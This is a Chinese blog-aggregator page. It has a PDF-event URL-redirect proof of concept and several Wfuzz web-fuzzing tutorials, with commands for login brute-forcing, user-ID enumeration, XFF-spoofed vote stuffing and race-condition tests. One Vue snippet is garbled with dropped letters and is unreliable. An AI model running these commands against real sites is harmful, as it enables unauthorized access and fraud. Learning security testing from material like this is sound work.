- 符合DOS短文件名规则的Windows下的长文件名不变
- 长文件名中的空格，在短文件名中被删除
- 删除空格后的长文件名，若长度大于8个字符，则取前6个字符，后两个字符以
~#代替，其中 # 为数字，数字根据前六个字符相同的文件名的个数顺延。若个数超过10个则取前5个字符，后三个字符以~##代替，其中 ## 为两位数字，若个数大于100也依此规则替换。 - 对使用多个
.隔开的长文件名，取最左端一段转换为短文件名，取最右一段前三个字符为扩展名 - 如果存在老 OS 或程序无法读取的字符，用
_替换
关闭短文件名
将Windows注册表（
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem）中的NtfsDisable8dot3NameCreation这一项的值设为 1CMD实现关闭短文件名：
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 1 /t REG_DWORD /f如果想开启（将值设为0）：
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisable8dot3NameCreation /d 0 /t REG_DWORD /f需要注意：即使关闭了短文件名功能，也不会删除原有创建过的短文件名
- 博客 Vulkey_Chen's Blog 2018-11-14 00:00:00
浅析PDF事件导致的安全漏洞
最近ASRC的事情（PDF导致的URL跳转漏洞）闹的沸沸扬扬的，一开始没怎么去关注，后来想去玩一玩的时候发现作者没有给出比较好的说明来告诉大家如何玩、操作PDF的事件和漏洞原理。小白的我来探究一下。。
PDF事件添加
本人是macOS系统所以用不了迅捷PDF编辑器，后来尝试寻找各种适用于Mac平台的编辑器无果之后，还是向Adobe妥协，下载了破解版的Adobe Acrobat Pro DC 2018(也支持Windows)。
随便用Word文档导出了一个PDF，使用Acrobat打开，进行编辑，找了一会终于找到了页面属性设置的地方。
点击右侧的组织页面功能：
选择这一页点击更多->页面属性：
选择事件动作->触发器选择打开页面->选择动作打开网络链接->添加 输入地址：
设置成功：
漏洞测试
漏洞测试浏览器：谷歌浏览器 Chrome
漏洞测试GIF：
Why？
这个漏洞的局限性在于浏览器的不同，那么为什么会只存在于部分浏览器上呢？
内核？
一开始的猜想是与浏览器的内核有关，Chrome是基于Webkit的内核分支，而Safari也是基于这个的，但是经过测试发现发现Safari无法跳转。
结果：NO
插件？
之前了解过FireFox浏览器是使用pdf预览插件是Chrome的PDF Viewer，但是至今为止最新版都只是很久以前的版本了（火狐官方也进行了一些细微的修改）：
谷歌自己呢早就更新迭代了：
chrome-extension://mhjfbmdgcfjbbpaeojofohoefgiehjai/pdf_viewer.js
结果：很大概率和浏览器PDF预览插件有关，可能是谷歌在之后更新引入了对PDF事件的支持。
END
PoC下载：PoC.pdf
- 博客 Jiajun的编程随想 2018-11-13 08:00:00《Go的unsafe包》常规的Go代码是可以跨平台的，因为常规代码只关心使用哪种数据结构，而不关心数据结构的内部实现，内部实现细节由编译器处理。而 `unsafe` 这个包就是用来访问内部实现细节的。所以，使用了unsafe这个包的代码，因为Go的编译器实现细节改变，很有可能会造成兼容性问题...
- 博客 Jiajun的编程随想 2018-11-12 08:00:00《Golang中实现禁止拷贝》Go中没有原生的禁止拷贝的方式，所以如果有的结构体，你希望使用者无法拷贝，只能指针传递保证全局唯一的话，可以这么干，定义一个结构体叫 `noCopy`，要实现 `sync.Locker` 这个接口...
- 博客 轶哥博客 2018-11-12 00:28:16<>正如Vue官方所说，SSR配置适合已经熟悉 Vue, weack 和 Node.j 开发的开发者阅读。请先移步 r.vuej.org 了解手工进行SSR配置的基本内容。 <>从头搭建一个服务端渲染的应用是相当复杂的。如果您有SSR需求，对Weack及Koa不是很熟悉，请直接使用NUXT.j。 <>本文所述内容示例在
Vue SSR Koa2 脚手架：htt://githu.com/yi-ge/Vue-SSR-Koa2-Scaffold <>我们以撰写本文时的最新版：Vue 2，Weack 4，Koa 2为例。<>特别说明 此文描述的是API与WEB同在一个项目的情况下进行的配置，且API、SSR Server、Static均使用了同一个Koa示例，目的是阐述配置方法，所有的报错显示在一个终端，方便调试。 - 博客 Jiajun的编程随想 2018-11-11 08:00:00《人生如戏，全靠演技 -- 《日常生活中的自我呈现》读后感》> 随想随写，有点乱。日常生活中，表达有两种，一种是给出的表达，例如通过词语，语言；另一种是流露出的表达，例如不经意间的一些行为动作，眼神态度...
- 博客 Jiajun的编程随想 2018-11-10 08:00:00《Golang的反射》反射是指，在程序运行的时候，可以动态的检查自身的类型，结构和其他信息。要了解Go语言的反射，我们需要了解两个概念...
- 博客 Jiajun的编程随想 2018-11-10 08:00:00《数据库事务》## 事务的四个特性数据库事务，简单来讲，就是把一堆的数据库操作（增删改查）组合成一个操作，这个操作要么成功，要么失败，如果成功，那么结果...
- 博客 Jiajun的编程随想 2018-11-09 08:00:00《把网站去掉CSS之后》准确的来说，是去掉了CSS框架。前几天把博客的CSS框架（Bootstrap）去掉了，于是现在网站变成了90年代的风格，黑白两色，没有特效...
- 博客 Holmesian Blog 2018-11-08 18:02:00起因之前把办公室的树莓派换成了2代的B型版，配置完之后起初一直都比较顺畅，但是奇葩的是每次我到外地出差的时候就会连不回树莓派。每次回来检查都发现设备确实是莫名其妙卡死了，由于办公室最近闹老鼠，一...
- 博客 轶哥博客 2018-11-08 01:18:31<>涉及微信开发的技术人员总会面对一些“对接”工作，每当做好一个产品卖给对方的时候，都需要程序员介入进行一些配置。例如：
- <>使用“微信JS-SDK”的应用，我们需要添加微信公众号“JS接口安全域名”。
- <>为了解决微信页面安全提示，我们需要添加微信公众号“业务域名”。
- <>为了在小程序中使用WeView页面，我们需要添加微信小程序“业务域名”。
locatio /YGCSYilWJ.txt { default_tye text/html retur 200 #3978362e6cae6a33ec4609840e35399#39}让我们花20分钟彻底解决这个问题。 <>进行域名泛解析：*.ac.com-gt 服务器，反向代理根目录下.txt结尾的请求。顺便配置一下通配符SSL证书（网上有免费版本）。 - 博客 Jiajun的编程随想 2018-11-07 08:00:00《处理并发的方式》并发，就会出现竞争问题，下面是几种常见的处理方式：- 加锁。所有的参与者竞争同一个锁，持有锁的参与者可以对资源进行操作。如果资源满足读和写可以分离的条件，可以使用读写锁来...
- 博客 Jiajun的编程随想 2018-11-02 08:00:00《常见的索引方式》如果没有索引，对于无序的数据，我们查找数据就只能依靠遍历，算法时间复杂度为O(N)；对于有序的数据，可以使用二分查找，时间复杂度为O(lgN)，但是此处的有序还有一个要求，就是数据是空间连续的，即如果是使用链表保存，即便是有序也无法使用二分查找...
- 博客 Jiajun的编程随想 2018-11-01 08:00:00《Golang 实践经验》- 编码风格：https://github.com/golang/go/wiki/CodeReviewComments- 编码规范：代码提交前使用 go fmt 格式化代码- 虽然Go推荐使用比较短的名字来命名，但是不要太短，例如l, a, r，容易看不懂，尤其是当嵌套层次深了之后。例如gRPC实现中的一段代码...
- 博客 Vulkey_Chen's Blog 2018-10-28 00:00:00
Wfuzz高阶功法
Author: Vulkey_Chen
Blog: gh0st.cn
模块
之前两篇文章中已经记录过了payloads和printers模块，所以就不在这继续记录。
Iterators
BurpSuite的
Intruder模块中Attack Type有Sniper(狙击手)、Battering ram(撞击物)、Pitchfork(相交叉)、Cluster bomb(集束炸弹)～wfuzz也可以完成这样的功能，将不同的字典的组合起来，那就是
Iterators模块。使用参数
-m 迭代器，wfuzz自带的迭代器有三个：zip、chain、product，如果不指定迭代器，默认为product迭代器。zip
命令：
wfuzz -z range,0-9 -w dict.txt -m zip http://127.0.0.1/ip.php?FUZZ=FUZ2Z结果如下：
该命令的意思：设置了两个字典。两个占位符，一个是
range模块生成的0、1、2、3、4、5、6、7、8、910个数字，一个是外部字典dict.txt的9行字典，使用zip迭代器组合这两个字典发送。zip迭代器的功能：字典数相同、一一对应进行组合，如果字典数不一致则多余的抛弃掉不请求，如上命令结果就是数字9被抛弃了因为没有字典和它组合。
chain
命令：
wfuzz -z range,0-9 -w dict.txt -m chain http://127.0.0.1/ip.php?FUZZ结果如下：
该命令设置了两个字典，一个占位符FUZZ，使用chain迭代器组合这两个字典发送。
chain迭代器的功能：通过返回结果就能看出来
chain迭代器的功能了，这个迭代器是将所有字典全部整合（不做组合）放在一起然后传入占位符FUZZ中。product
命令：
wfuzz -z range,0-2 -w dict.txt -m product http://127.0.0.1/ip.php?FUZZ=FUZ2Z结果如下：
该命令的意思：设置了两个字典，两个占位符，一个是
range模块生成的0、1、23个数字，一个是外部字典dict.txt的3行字典，使用product迭代器组合这两个字典发送。product迭代器的功能：通过返回结果，知道了请求总数为9，请求的payload交叉组合：
Encoders
wfuzz中encoders模块可以实现编码解码、加密，它支持如下图中所列转换功能：
使用Encoders
正常使用：
-
wfuzz -z file --zP fn=wordlist,encoder=md5 URL/FUZZ看过第一章的应该都能理解意思了，这里新增的就是
encoder=md5，也就是使用Encoders的md5加密。 -
wfuzz -z file,wordlist,md5 URL/FUZZ这里简写了第一条命令，一般都使用这条命令来调用Encoders
使用多个Encoder：
-
多个转换，使用一个
-号分隔的列表来指定wfuzz -z file,dict.txt,md5-base64 http://127.0.0.1/ip.php\?FUZZ
-
多次转换，使用一个
@号分隔的列表来按照从右往左顺序多次转换（这里让传入的字典先md5加密然后base64编码）wfuzz -z file,dict.txt,base64@md5 http://127.0.0.1/ip.php\?FUZZ
Scripts
之前说了wfuzz支持插件，其本身也有很多插件，插件大部分都是实现扫描和解析功能，插件共有两大类和一类附加插件：
- passive：分析已有的请求和响应（被动）
-
active：会向目标发送请求来探测（主动）
- discovery：自动帮助wfuzz对目标站进行爬取，将发现的内容提供给wfuzz进行请求
Wfuzz默认自带脚本如下：
使用Scripts
我想使用
Scripts中的backups模块，可以先试用--script-help参数来看如何关于这个模块的信息：wfuzz --script-help=robots
从如上结果中可以知道这个模块不需要设置参数，该模块解析robots.txt的并且寻找新的内容，，至于到底寻找什么，就需要动手实践下了～
在本地建一个robots.txt：
使用如下命令：
wfuzz --script=robots -z list,"robots.txt" http://127.0.0.1/FUZZ--script是使用脚本模块的参数，这时候就有个疑惑命令为什么要加上list呢？因为在这里robots脚本只是解析robots.txt规则的，所以你需要告诉wfuzz去请求哪个文件而这里我写的就是robots.txt就可以解析（假设 http://127.0.0.1/t.txt 的内容也是robots的就可以写成这样的命令wfuzz --script=robots -z list,"t.txt" http://127.0.0.1/FUZZ）
从如上图中得知wfuzz解析robots.txt的内容然后请求解析之后获得的路径。
自定义插件
使用wfuzz可以自己编写wfuzz插件，需要放在
~/.wfuzz/scripts/目录下，具体如何编写可以参考已有的插件：https://github.com/xmendez/wfuzz/tree/master/src/wfuzz/plugins/scripts技巧
Recipes
Wfuzz可以生成一个recipes用来保存命令，方便下次执行或者分享给别人。
生成一个recipes：
wfuzz --script=robots -z list,"robots.txt" --dumo-recipe outrecipe URL/FUZZ使用某个recipes：
wfuzz --recip outrecipe网络异常
Wfuzz扫描的时候出现网络问题，如DNS解析失败，拒绝连接等时，wfuzz会抛出一个异常并停止执行使用
-Z参数即可忽略这些错误继续执行。出现错误的payload会以返回码
XXX来表示，Payload中还有出现的错误信息。超时
使用wfuzz扫描会遇到一些响应很慢的情况，wfuzz可以设置超时时间。
参数
--conn-delay来设置wfuzz等待服务器响应接连的秒数。 参数--req-delay来设置wfuzz等待响应完成的最大秒数。结合BurpSuite
从Burp的LOG文件中获取测试的URL地址：
wfuzz -z burplog,"1.burp" FUZZ
还有能够读取burpsuite保存的state：
wfuzz -z burpstate,a_burp_state.burp FUZZ过滤器
这里篇幅太长，建议综合参考 https://github.com/xmendez/wfuzz/blob/18a83606e3011159b4b2e8c0064f95044c3c4af5/docs/user/advanced.rst 就不一一写出来了。
-
- 博客 Vulkey_Chen's Blog 2018-10-28 00:00:00
Wfuzz基本功
Author: Vulkey_Chen
Blog: gh0st.cn
爆破文件、目录
wfuzz本身自带字典：
. ├── Injections │ ├── All_attack.txt │ ├── SQL.txt │ ├── Traversal.txt │ ├── XML.txt │ ├── XSS.txt │ └── bad_chars.txt ├── general │ ├── admin-panels.txt │ ├── big.txt │ ├── catala.txt │ ├── common.txt │ ├── euskera.txt │ ├── extensions_common.txt │ ├── http_methods.txt │ ├── medium.txt │ ├── megabeast.txt │ ├── mutations_common.txt │ ├── spanish.txt │ └── test.txt ├── others │ ├── common_pass.txt │ └── names.txt ├── stress │ ├── alphanum_case.txt │ ├── alphanum_case_extra.txt │ ├── char.txt │ ├── doble_uri_hex.txt │ ├── test_ext.txt │ └── uri_hex.txt ├── vulns │ ├── apache.txt │ ├── cgis.txt │ ├── coldfusion.txt │ ├── dirTraversal-nix.txt │ ├── dirTraversal-win.txt │ ├── dirTraversal.txt │ ├── domino.txt │ ├── fatwire.txt │ ├── fatwire_pagenames.txt │ ├── frontpage.txt │ ├── iis.txt │ ├── iplanet.txt │ ├── jrun.txt │ ├── netware.txt │ ├── oracle9i.txt │ ├── sharepoint.txt │ ├── sql_inj.txt │ ├── sunas.txt │ ├── tests.txt │ ├── tomcat.txt │ ├── vignette.txt │ ├── weblogic.txt │ └── websphere.txt └── webservices ├── ws-dirs.txt └── ws-files.txt但相对FuzzDB和SecLists来说还是不够全面不够强大的，当然如果有自己的字典列表最好～
Wfuzz爆破文件：
wfuzz -w wordlist URL/FUZZ.phpWfuzz爆破目录：
wfuzz -w wordlist URL/FUZZ遍历枚举参数值
e.g. 假如你发现了一个未授权漏洞，地址为：http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历，已知123为三位数纯数字，需要从000-999进行遍历，也可以使用wfuzz来完成：
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ使用payloads模块类中的
range模块进行生成。POST请求测试
e.g. 发现一个登录框，没有验证码，想爆破弱口令账户。
请求地址为：http://127.0.0.1/login.php
POST请求正文为：username=&password=
使用wfuzz测试：
wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php-d参数传输POST请求正文。Cookie测试
上文 遍历枚举参数值 中说到有未授权漏洞，假设这个漏洞是越权漏洞，要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie：
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ-b参数指定Cookie，多个Cookie需要指定多次，也可以对Cookie进行测试，仍然使用FUZZ占位符即可。HTTP Headers测试
e.g. 发现一个刷票的漏洞，这个漏洞需要伪造XFF头（IP）可达到刷票的效果，投票的请求为GET类型，地址为：http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票，可以使用wfuzz完成这类操作：
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666-H指定HTTP头，多个需要指定多次（同Cookie的-b参数）。测试HTTP请求方法（Method）
e.g. 想测试一个网站(http://127.0.0.1/)支持哪些HTTP请求方法
使用wfuzz：
wfuzz -z list,"GET-POST-HEAD-PUT" -X FUZZ http://127.0.0.1/这条命了中多了
-z list和-X参数，-z list可以自定义一个字典列表（在命令中体现），以-分割；-X参数是指定HTTP请求方法类型，因为这里要测试HTTP请求方法，后面的值为FUZZ占位符。使用代理
做测试的时候想使用代理可以使用如下命令：
wfuzz -w wordlist -p proxtHost:proxyPort:TYPE URL/FUZZ-p参数指定主机:端口:代理类型，例如我想使用ssr的，可以使用如下命令：wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ多个代理可使用多个
-p参数同时指定，wfuzz每次请求都会选取不同的代理进行。认证
想要测试一个需要HTTP Basic Auth保护的内容可使用如下命令：
wfuzz -z list,"username-password" --basic FUZZ:FUZZ URLwfuzz可以通过
--basec --ntml --digest来设置认证头，使用方法都一样：--basec/ntml/digest username:password递归测试
使用
-R参数可以指定一个payload被递归的深度(数字)。例如：爆破目录时，我们想使用相同的payload对已发现的目录进行测试，可以使用如下命令：wfuzz -z list,"admin-login.php-test-dorabox" -R 1 http://127.0.0.1/FUZZ如上命令就是使用了自定义字典列表：
admin login.php test dorabox递归深度为1也就是说当发现某一个目录存在的时候，在存在目录下再递归一次字典。
并发和间隔
wfuzz提供了一些参数可以用来调节HTTP请求的线程
e.g. 你想测试一个网站的转账请求是否存在HTTP并发漏洞（条件竞争）
请求地址：http://127.0.0.1/dorabox/race_condition/pay.php
POST请求正文：money=1
使用如下命令：
wfuzz -z range,0-20 -t 20 -d "money=1" http://127.0.0.1/dorabox/race_condition/pay.php?FUZZ
测试并发要控制请求次数，在这里为使用
range模块生成0-20，然后将FUZZ占位符放在URL的参数后不影响测试即可，主要是用-t参数设置并发请求，该参数默认设置都是10。另外使用
-s参数可以调节每次发送HTTP的时间间隔。保存测试结果
wfuzz通过
printers模块来将结果以不同格式保存到文档中，一共有如下几种格式：raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` format将结果以
json格式输出到文件的命令如下：$ wfuzz -f outfile,json -w wordlist URL/FUZZ使用
-f参数，指定值的格式为输出文件位置,输出格式。 - 博客 Vulkey_Chen's Blog 2018-10-28 00:00:00
Wfuzz初上手
Author: Vulkey_Chen
Blog: gh0st.cn
Wfuzz是啥玩意？
wfuzz 是一款Python开发的Web安全模糊测试工具。https://github.com/xmendez/wfuzz
简单粗暴的功能特点记录：
- 模块化 框架 可编写插件
- 接口 可处理BurpSuite所抓的请求和响应报文
简而言之就是wfuzz可以用在做请求参数参数类的模糊测试，也可以用来做Web目录扫描等操作。
Wfuzz初体验
- 安装Wfuzz
pip install wfuzz
简单的使用
wfuzz -w 字典 地址(e.g. https://gh0st.cn/FUZZ)如上命令使用-w参数指定字典位置，然后跟上一个要测试的地址，所列的例子
https://gh0st.cn/FUZZ中有一个FUZZ单词，这个单词可以理解是一个占位符，这样就大概了解了wfuzz的基本运行原理，它会读取字典然后传入占位符进行模糊测试请求。实际的使用一遍：
wfuzz -w test_dict.txt https://gh0st.cn/FUZZ返回结果如下：
******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: https://gh0st.cn/FUZZ Total requests: 6 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000004: C=404 1 L 121 W 1636 Ch "test123" 000003: C=404 1 L 121 W 1636 Ch "456" 000006: C=404 1 L 121 W 1636 Ch "admin123" 000005: C=404 1 L 121 W 1636 Ch "admin" 000001: C=404 1 L 121 W 1636 Ch "abc" 000002: C=404 1 L 121 W 1636 Ch "123" Total time: 2.122055 Processed Requests: 6 Filtered Requests: 0 Requests/sec.: 2.827447通过返回结果我们可以知道很多信息，最需要关注的就是
ID、Response、 Lines、Word、Chars、Payload这一行，从左往右看，依次是编号、响应状态码、响应报文行数、响应报文字数、响应报文正字符数、测试使用的Payload。了解Wfuzz
通过
-h或者--help可以来获取帮助信息。Wfuzz模块
如上所述说到wfuzz是模块化的框架，wfuzz默认自带很多模块，模块分为5种类型分别是：
payloads、encoders、iterators、printers和scripts。通过
-e参数可以查看指定模块类型中的模块列表：wfuzz -e payloadspayloads类的模块列表如下：Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | This payload reads requests from a tab in the GUI dirwalk | Returns filename's recursively from a local directory. file | Returns each word from a file. burpstate | Returns fuzz results from a Burp state. wfuzzp | Returns fuzz results' URL from a previous stored wfuzz session. ipnet | Returns list of IP addresses of a network. bing | Returns URL results of a given bing API search (needs api key). stdin | Returns each item read from stdin. list | Returns each element of the given word list separated by -. hexrand | Returns random hex numbers from the given range. range | Returns each number of the given range. names | Returns possible usernames by mixing the given words, separated by -, using know | n typical constructions. hexrange | Returns each hex number of the given hex range. permutation | Returns permutations of the given charset and length. buffer_overflow | Returns a string using the following pattern A * given number. iprange | Returns list of IP addresses of a given IP range. burplog | Returns fuzz results from a Burp log. autorize | Returns fuzz results' from autororize.Wfuzz使用
从上文知道了wfuzz基于一个非常简单的概念：使用payload来替换相应的FUZZ关键词的位置，FUZZ这样的关键词就是
占位符，payload就是输入源。通过
wfuzz -e payloads可以获取payloads类的所有模块列表，使用wfuzz -z help可以获取关于payloads类模块的详细信息，也可以通过--slice参数来过滤返回信息的结果。e.g.
wfuzz -z help --slice "names"Name: names 0.1 Categories: default Summary: Returns possible usernames by mixing the given words, separated by -, using known typical constructions. Author: Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: ie. jon-smith Parameters: + name: Name and surname in the form of name-surname.使用（字典）
注：命令中的wordlist表示为字典位置
-
wfuzz -z file --zP fn=wordlist URL/FUZZ -
wfuzz -z file,wordlist URL/FUZZ -
wfuzz -w wordlist URL/FUZZ
这里有必要说明下，使用命令意义是一样的，都是使用
payloads模块类中的file模块，通过wfuzz -z help --slice "file"看如何使用file模块：Name: file 0.1 Categories: default Summary: Returns each word from a file. Author: Carlos del Ojo,Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez) Description: Returns the contents of a dictionary file line by line. Parameters: + fn: Filename of a valid dictionary通过返回的帮助信息，我们知道这个模块需要一个参数fn，这个参数值为字典文件名（绝对路径）。这样子第一条命令一下子就明白了，
wfuzz -z file --zP fn=wordlist URL/FUZZ中的-z file使用模块，--zP fn=wordlist是定义fn参数的值（可以这样理解，–zP 这里的P大写代表 Parameters ，然后其他的都是固有个事）第二条命令简写了第一条命令的赋值，第三条命令使用
-w，这个参数就是-z file --zP fn的别名。多个字典
使用
-z或-w参数可以同时指定多个字典，这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。例如想要同时爆破目录、文件名、后缀，可以这样来玩：
wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z过滤器
wfuzz具有过滤器功能，在做测试的过程中会因为环境的问题需要进行过滤，例如在做目录扫描的时候，你事先探测并知道了这个网站访问不存在目录的时候使用的是自定义404页面（也就是状态码为200），而你可以选择提取该自定义页面的特征来过滤这些返回结果。
wfuzz过滤分为两种方法：隐藏符合过滤条件的结果 和 显示符合过滤条件的结果
隐藏响应结果
通过
--hc，--hl，--hw，--hh参数可以隐藏某些HTTP响应。--hc根据响应报文状态码进行隐藏（hide code）
隐藏404：
wfuzz -w wordlist --hc 404 URL/FUZZ隐藏404、403：
wfuzz -w wordlist --hc 404,403 URL/FUZZe.g. 使用百度举个例子，运行
wfuzz -w test_dict.txt https://www.baidu.com/FUZZ结果如下
这里所有的测试请求，都是不存在的页面，那么百度的404页面规则就是如上图结果所示：响应报文状态码（302）、响应报文行数（7）、响应报文字数（18）、响应报文字符数（222），那么下面的就是填空题了～
--hl根据响应报文行数进行隐藏（hide lines）
wfuzz -w wordlist --hl 7 https://www.baidu.com/FUZZ--hw根据响应报文字数进行隐藏（hide word）
wfuzz -w wordlist --hw 18 https://www.baidu.com/FUZZ--hh根据响应报文字符数进行隐藏（hide chars 这里因为code和chars首字母都是c，–hc参数已经有了，所以hide chars的参数就变成了–hh）
wfuzz -w wordlist --hh 222 https://www.baidu.com/FUZZ如果根据单个条件判断相对来说肯定是不精确的，所以整合一下就是这样的命令：
wfuzz -w wordlist --hc 302 --hl 7 --hw 18 --hh 222 https://www.baidu.com/FUZZ这样就可以对
https://www.baidu.com/进行目录扫描咯～显示响应结果
显示响应结果的使用方法跟隐藏时的原理一样，只不过参数变为了：
--sc（show code），--sl（show lines），--sw（show word），--sh（show chars）。使用Baseline(基准线)
过滤器可以是某个HTTP响应的引用，这样的引用我们称为Baseline。
之前的使用
--hh进行过滤的例子中，还可以使用下面的命令代替：wfuzz -w wordlist --hh BBB https://www.baidu.com/FUZZ{404there}
这条命令的意思应该很容易理解，首先要清楚基准线是什么？换个名字：标准线 or 及格线。
首先解释下
https://www.baidu.com/FUZZ{404there}的意思，这里代表wfuzz第一个请求是请求https://www.baidu.com/404there这个网址，在{ }内的值用来指定wfuzz第一个请求中的FUZZ占位符，而这第一个请求被标记为BBB（BBB不能换成别的）基准线；其次这里使用的参数是--hh，也就是以BBB这条请求中的Chars为基准，其他请求的Chars值与BBB相同则隐藏。使用正则表达式过滤
wfuzz参数
--ss和--hs可以使用正则表达式来对返回的结果过滤。e.g. 在这里一个网站自定义返回页面的内容中包含
Not Found，想根据这个内容进行过滤可以使用如下的命令：wfuzz -w wordlist --hs "Not Found" http://127.0.0.1/FUZZ
得出结论使用方法：
wfuzz -w wordlist --hs 正则表达式 URL/FUZZ #隐藏 wfuzz -w wordlist --ss 正则表达式 URL/FUZZ #显示手册
原文来自：DigApis安全 m0nst3r
模块种类
payload
payload为wfuzz生成的用于测试的特定字符串，一般情况下，会替代被测试URL中的FUZZ占位符。 当前版本中的wfuzz中可用payloads列表如下：
Available payloads: Name | Summary ------------------------------------------------------------------------------------------------------ guitab | 从可视化的标签栏中读取请求 dirwalk | 递归获得本地某个文件夹中的文件名 file | 获取一个文件当中的每个词 autorize | 获取autorize的测试结果Returns fuzz results' from autororize. wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL ipnet | 获得一个指定网络的IP地址列表 bing | 获得一个使用bing API搜索的URL列表 (需要 api key). stdin | 获得从标准输入中的条目 list | 获得一个列表中的每一个元素，列表用以 - 符号分格 hexrand | 从一个指定的范围中随机获取一个hex值 range | 获得指定范围内的每一个数值 names | 从一个以 - 分隔的列表中，获取以组合方式生成的所有usernames值 burplog | 从BurpSuite的记录中获得测试结果 permutation | 获得一个在指定charset和length时的字符组合 buffer_overflow | 获得一个包含指定个数个A的字符串. hexrange | 获得指定范围内的每一个hex值 iprange | 获得指定IP范围内的IP地址列表 burpstate | 从BurpSuite的状态下获得测试结果encoder
encoder的作用是将payload进行编码或加密。 wfuzz的encoder列表如下：
Available encoders: Category | Name | Summary ------------------------------------------------------------------------------------------------------------------------ url_safe, url | urlencode | 用`%xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换 url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换 url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码 html | html_escape | 将`&`，`<`，`>`转换为HTML安全的字符 html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符 hashes | base64 | 将给定的字符串中的所有字符进行base64编码 url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码 db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式 url | utf8 | 将所有字符以`\u00xx` 格式进行编码 hashes | md5 | 将给定的字符串进行md5加密 default | random_upper | 将字符串中随机字符变为大写 url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码 default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示 url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码 url | uri_hex | 将所有字符以`%xx` 格式进行编码 default | none | 不进行任何编码 hashes | sha1 | 将字符串进行sha1加密 url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码 url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码 url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码 html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码 db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式 db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式iterator
wfuzz的iterator提供了针对多个payload的处理方式。 itorators的列表如下：
Available iterators: Name | Summary ---------------------------------------------------------------------------------------------- product | Returns an iterator cartesian product of input iterables. zip | Returns an iterator that aggregates elements from each of the iterables. chain | Returns an iterator returns elements from the first iterable until it is exhaust | ed, then proceeds to the next iterable, until all of the iterables are exhausted | .printer
wfuzz的printers用于控制输出打印。 printers列表如下：
Available printers: Name | Summary -------------------------------------------------- raw | `Raw` output format json | Results in `json` format csv | `CSV` printer ftw magictree | Prints results in `magictree` format html | Prints results in `html` formatscripts
scripts列表如下：
Available scripts: Category | Name | Summary ---------------------------------------------------------------------------------------------------- default, passive | cookies | 查找新的cookies default, passive | errors | 查找错误信息 passive | grep | HTTP response grep active | screenshot | 用linux cutycapt tool 进行屏幕抓取 default, active, discovery | links | 解析HTML并查找新的内容 default, active, discovery | wc_extractor | 解析subversion的wc.db文件 default, passive | listing | 查找列目录漏洞 default, passive | title | 解析HTML页面的title default, active, discovery | robots | 解析robots.txt文件来查找新内容 default, passive | headers | 查找服务器的返回头 default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件 default, active, discovery | svn_extractor | 解析 .svn/entries 文件 active, discovery | backups | 查找已知的备份文件名 default, active, discovery | sitemap | 解析 sitemap.xml 文件内置工具
wfencode 工具
这是wfuzz自带的一个加密/解密（编码/反编码）工具，目前支持内建的encoders的加/解密。
wfencode -e base64 123456 [RES] MTIzNDU2 wfencode -d base64 MTIzNDU2 [RES] 123456
wfpayload工具
wfpayload是payload生成工具
wfpayload -z range,0-10 [RES] 0 1 2 3 4 5 6 7 8 9 10wxfuzz 工具
这个看源码是一个wxPython化的wfuzz，也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用，但是在ParrotOS和Kali上都无法正常安装成功，问题已在GitHub提交Issue，期待开发者的回复中…
wfuzz命令中文帮助
